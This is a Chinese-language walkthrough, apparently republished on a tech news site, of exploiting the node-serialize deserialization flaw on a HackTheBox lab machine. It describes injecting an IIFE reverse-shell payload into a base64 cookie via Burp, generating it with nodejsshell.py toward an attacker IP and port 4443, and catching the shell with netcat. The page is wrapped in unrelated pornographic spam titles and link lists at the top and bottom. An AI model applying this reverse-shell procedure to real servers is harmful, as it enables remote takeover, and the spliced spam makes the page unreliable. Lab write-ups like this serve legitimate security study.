麻豆国内精品欧美在线-麻豆国内精品久久久久久-麻豆国产在线观看一区二区-麻豆国产在线观看免费-麻豆国产原创-麻豆国产一区二区在线观看

Node.js反序列化攻擊漏洞區(qū)塊鏈

曲速未來安全區(qū) 2018-08-17 03:35
分享到:
導讀

導語:WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScriptIIFE(立即執(zhí)行函數(shù)表達式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠程執(zhí)行任意代碼。

導語:

WF曲速未來提醒:node.js的序列化過程中存在遠程代碼執(zhí)行漏洞。更直白的說,其實是node.js的node-serialize庫存在漏洞。通過傳輸JavaScript IIFE(立即執(zhí)行函數(shù)表達式),攻擊者可以利用惡意代碼(不受信任的數(shù)據(jù)),在反序列化過程中遠程執(zhí)行任意代碼。

WF曲速區(qū)表示:Node.js是一個Javascript服務器端的運行環(huán)境。它封裝了Google V8引擎。 Google V8引擎可以快速運行具有高性能的Javascript。Node.js優(yōu)化某些特殊情況并提供替代APls,使Google V8引擎能夠在非瀏覽器環(huán)境中更有效地運行。

但是Node。js的序列化過程中仍然存在遠程代碼執(zhí)行漏洞。Node.js的node-serialize庫有一個漏洞。通過傳輸JavaScript IIFE,攻擊者可以使用惡意代碼(不受信任的數(shù)據(jù))在反序列化中遠程運行任意代碼。

關于漏洞(反序列化攻擊)

不受信任的數(shù)據(jù)被傳遞到unserialize()函數(shù),這導致我們可以繞過JavaScript對象的立即調(diào)用的函數(shù)表達式IIFE來實現(xiàn)任意代碼執(zhí)行。

所以你的步驟是在apt-get命令的幫助下安裝nodejs包,如下所示:

命令:apt-get install nodejs

在下一步中,您需要在CURL命令的幫助下安裝npm實用程序(有關使用npm進一步安裝node-serialize包),如下所示:

命令:curl -L https://www.npmjs.com/install.sh |SH

一旦你安裝和配置Nodejs和Npm,只需在npm的幫助下輸入node-serialize包,輸入“npm install node-serialize”,如下所示:

另一方面,我們已經(jīng)與HacktheBox服務器連接,其服務器的漏洞節(jié)點機器IP為10.10.10.85:3000(運行Nodejs Express Framework,您可以使用Nmap Scanning進一步確認)

因此,在第一步中,您需要在最受歡迎的代理攔截工具之一(即Burp Suite)的幫助下捕獲上述Nodejs易受攻擊IP的GET請求,如下所示:

在第二步中,只需選擇cookie值并將其發(fā)送到Decoder選項卡以進行進一步解密。

此易受攻擊的Web應用程序中的漏洞是,它從HTTP請求中讀取名為profile的cookie,執(zhí)行cookie值的base64解碼并將其傳遞給unserialize()函數(shù)。由于cookie是不受信任的輸入,攻擊者可以利用惡意cookie值來利用此漏洞。

第三步,要安裝Nodejs Security Toolkit,請在終端中鍵入以下命令。

命令:git clone https://github.com/ajinabraham/Node.Js-Security-Course.git

導航到下載的文件夾并運行以下命令以創(chuàng)建反向shell有效內(nèi)容,該有效負載將javascript代碼評估為字符串。

首先,您需要通過鍵入“ifconfig”找出隧道IP,然后運行以下命令:

命令: python nodejsshell.py 10.10.14.145 4443

這是最終反向shell有效負載的輸出。

現(xiàn)在讓我們使用以下javascript生成序列化的有效負載。

代碼:

用大括號{eval(String.from ......... })添加上面的有效負載輸出,如下所示:

將文件另存為exploit.js并使用node命令運行,該命令生成最終的序列化有效負載,如下所示:

命令:node exploit.js

現(xiàn)在回到BurpSuite并導航到Decoder選項卡并將上面的輸出代碼粘貼到Textarea中,然后在解碼之前,在函數(shù)體之后添加IIFE括號(),如下所示:

在這里,我們需要執(zhí)行相同的Base64編碼,然后在Cookie標頭值中使用編碼的有效負載向Web服務器發(fā)出請求。

現(xiàn)在要發(fā)出請求,您需要向Repeater 選項卡發(fā)送相同的請求。

在Repeater選項卡中,您需要將cookie值替換為我們從上面步驟生成的base64編碼值,然后單擊GO按鈕。

并排,確保您的netcat服務正在偵聽相同的端口,即4443(反向shell負載的相同端口)

命令:nc -lvp 4443

一旦你單擊Go按鈕,請求將命中到服務器,顯示200 OK響應,并顯示一條錯誤消息“發(fā)生錯誤...無效的用戶名類型”,并立即在netcat終端中與該服務器連接,狀態(tài)為“已連接”。

區(qū)塊鏈安全公司W(wǎng)F曲速未來提醒:本實踐實現(xiàn)了Node.js 反序列化漏洞遠程執(zhí)行代碼的演示,并對漏洞進行了詳細的分析。該漏洞本質(zhì)上是構造Payload傳入unserrialize()函數(shù)進行反序列化:使用JavaScript的立即調(diào)用函數(shù)表達式(IIFE),當對象被創(chuàng)建時,將 該JavaScript 對象傳入 serialize() 函數(shù),輸出exploit將其傳入unserialize() 函數(shù),可以實現(xiàn)任意代碼執(zhí)行。危害不容小覷。

代碼 命令 漏洞 執(zhí)行 運行
分享到:

1.TMT觀察網(wǎng)遵循行業(yè)規(guī)范,任何轉載的稿件都會明確標注作者和來源;
2.TMT觀察網(wǎng)的原創(chuàng)文章,請轉載時務必注明文章作者和"來源:TMT觀察網(wǎng)",不尊重原創(chuàng)的行為TMT觀察網(wǎng)或將追究責任;
3.作者投稿可能會經(jīng)TMT觀察網(wǎng)編輯修改或補充。


專題報道

主站蜘蛛池模板: 5g影院天天 | 超鹏97国语 | 荷兰精品女人性hd | 成人精品mv视频在线观看 | 九九热视频 这里有精品 | 污网站免费观看在线高清 | 欧美 国产 日韩 第一页 | 国产精品亚欧美一区二区三区 | juy_661佐佐木明希在线播放 | 亚洲AV无码A片在线观看蜜桃 | 国产成人 免费观看 | 青青青国产视频 | 国产成人在线影院 | 2020国语对白露脸 | 日本bbwbbw| 女主被男主做哭失禁高h | 日出水了特别黄的视频 | 成人男女啪啪免费观看网站 | 黄漫在线播放 | 啊哈用力cao我 | 日本哺乳期网站xxxx | 婷婷在线成人免费观看搜索 | 日本道色综合久久影院 | 天天视频国产精品 | 嫩草蜜桃 | 久久这里都是精品 | 欧美一区二区三区成人看不卡 | 4hu影院永久在线播放 | 成人涩涩屋福利视频 | bb18lv黑料正能量 | 日本中文字幕永久在线 | 欧美肥bb | 99视频在线观看视频一区 | 蜜桃影像传媒推广 | 91精品免费国产高清在线 | 三级午夜宅宅伦不卡在线 | 色男人的天堂久久综合 | 欧洲男同直粗无套播放视频 | 99热这里只有精品国产免费 | 玩两个少妇女邻居 | 欧美成人中文字幕在线看 |